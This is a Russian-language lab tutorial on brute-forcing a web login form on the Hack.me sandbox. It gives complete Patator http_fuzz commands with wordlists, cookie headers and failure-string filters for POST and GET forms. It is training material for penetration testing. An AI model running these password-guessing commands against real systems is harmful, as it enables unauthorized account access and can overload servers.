Потренируемся в брут-форс простой формы авторизации на sendbox проекте Hack.me
Первый Этап нам надо определить метод отправки данных из формы серверу :
get
Этот метод предназначен для получения требуемой информации и передачи данных в адресной строке. Пары «имя=значение» присоединяются в этом случае к адресу после вопросительного знака и разделяются между собой амперсандом (символ &).
post
Метод post посылает на сервер данные в запросе браузера. Это позволяет отправлять большее количество данных, чем доступно методу get, поскольку у него установлено ограничение в 4 Кб. Большие объемы данных используются в форумах, почтовых службах, заполнении базы данных, при пересылке файлов и др.
Пример формы, которая отправляет данные методом POST:
<form action=»» method=»post»>
<p><input type=»text» name=»str»></p>
<p><input type=»submit» value=»Отправить»></p>
</form>
Второй этап Отправляемые данные.
Казалось бы, для формы вполне логично отправлять ровно два поля: имя пользователя и пароль. Тем не менее, часто формы содержат скрытые поля и поля, добавляемые на лету. Это важно знать, поскольку даже при верном логине и пароле форма выдаст ошибку входа, если отсутствуют другие требуемые данные.
Третий этап Проверка успешности входа
Как понять, что пароль успешно угадан? Для этого анализируется страница, которая присылается после попытки входа. Чаще всего мы не можем знать, что показывается залогиненому пользователю, поскольку у нас нет действительной учётной записи. Поэтому популярным стал метод от противного: мы пробуем ввести какой-либо логин и пароль и смотрим на ошибку. Например, это может быть «Account does not exist». Далее программа по перебору сравнивает выдаваемые ей страницы и если там отсутствует строка «Account does not exist», значит пароль подобран. Возможны многие варианты поведения, к этому этапу нужно относиться с вниманием.
Что бы все эти три пункта нам выполнить потребуется плагин для браузера, которые позволяет просматривать запросы get и post. Например плагин Tamper Data для Firefox.
Как мы видим тут отправляется три параметра u=имя, p=пароль, Login=Login . В ответ нам приходит страничка с надписью ACCESS DENIED.
Все исходные перемены известны, теперь пора переходить к самому перебору. Тут нам поможет PATATOR, одна из лучших программ перебора паролей для разнообразных служб, имеет модульную конструкцию. Patator был написан из-за неудовлетворённости от работы с Hydra, Medusa, Ncrack, модулями Metasploit и скриптами NSE Nmap, которые применяются для атак по угадыванию паролей и входит в состав Kali Linux. Я не буду описывать все возможности программы, они просто очень большие. Нам с вами потребуется модуль http_fuzz :
patator http_fuzz url=»http://s70493-102208-rib.sipontum.hack.me/test.php» method=POST body=’u=FILE0&p=FILE1&Login=Login’ 0=/root/name.txt 1=/root/word/top500.txt accept_cookie=1 -x ignore:fgrep=’ACCESS DENIED’
url=» » #Тут все понятно, ссылка на страницу.
method= #Метод отправки данных, [GET | POST | HEAD | …].
body= ‘ ‘ #данные тела.
0= #Путь к словарю переменное FILE0.
1= #Путь к словарю переменное FILE1.
accept_cookie=1 #Эта опция означает принять кукиз от веб-приложения и отправить их при следующей проверке логина и пароля.
-x действия:условия
- действия := действие[,действие]*
- действие := «ignore» | «retry» | «free» | «quit» | «reset»
- условия := условие=значение[,условие=значение]*
- условие := «code» | «size» | «time» | «mesg» | «fgrep» | «egrep»
- ignore : не сообщать
- retry : пробовать полезную нагрузку снова
- free : отклонить будущие подобные полезные нагрузки
- quit : прекратить выполнение сейчас
- reset : закрыть текущее подключение для переподключения в следующий раз
- code : соответствие коду статуса
- size : соответствие размеру (N или N-M или N- or -N)
- time : соответствие времени (N или N-M или N- or -N)
- mesg : соответствие сообщению
- fgrep : поиск строки в сообщении
- egrep : поиск регулярного выражения в сообщенииНапример, для игнорирования всех перенаправление на домашнюю страницу:
… -x ignore:code=302,fgrep=’Location: /home.html’
-tN #Число потоков N(По умолчанию 10).
persistent 1 #Использование постоянных соединений (например, будет протестировано несколько паролей до разъединения с сервером).
user_pass #имя пользователя и пароль для HTTP аутентификации (пользователь:пароль).
auth_type #тип HTTP аутентификации [basic | digest | ntlm].
http_proxy # HTTP прокси для использования (host:port)
Вот с кодом 200 мы подобрали пользователя и пароль(admin:password). К стати, не пугайтесь кода 500, это всего лишь значит что вы за Dosили сервак. Можно уменьшить число потоков или добавить параметр —rate-limit=N ждать N секунд между каждым тестом (по умолчанию это 0).
Интерактивные команды:
- показ прогресса во время выполнения (нажмите Enter).
- пауза/возобновление выполнения (нажмите p).
- нажмите h, чтобы увидеть все доступные интерактивные команды.
Ну и в заключении приведу пример для GET запросов :
patator.py http_fuzz url=»http://s70493-102508-nlm.croto.hack.me/index.php?pass=FILE0″ method=GET header=’Cookie: PHPSESSID=15rntb8rovb1beh47mcjh411q2′ 0=/root/word/top4000.txt -x ignore:fgrep=’Watch Out Changes in page!’
Тут есть только одна особенность, в заголовке надо передать куки, иначе наш запрос не выполниться : header=’Cookie: PHPSESSID=15rntb8rovb1beh47mcjh411q2′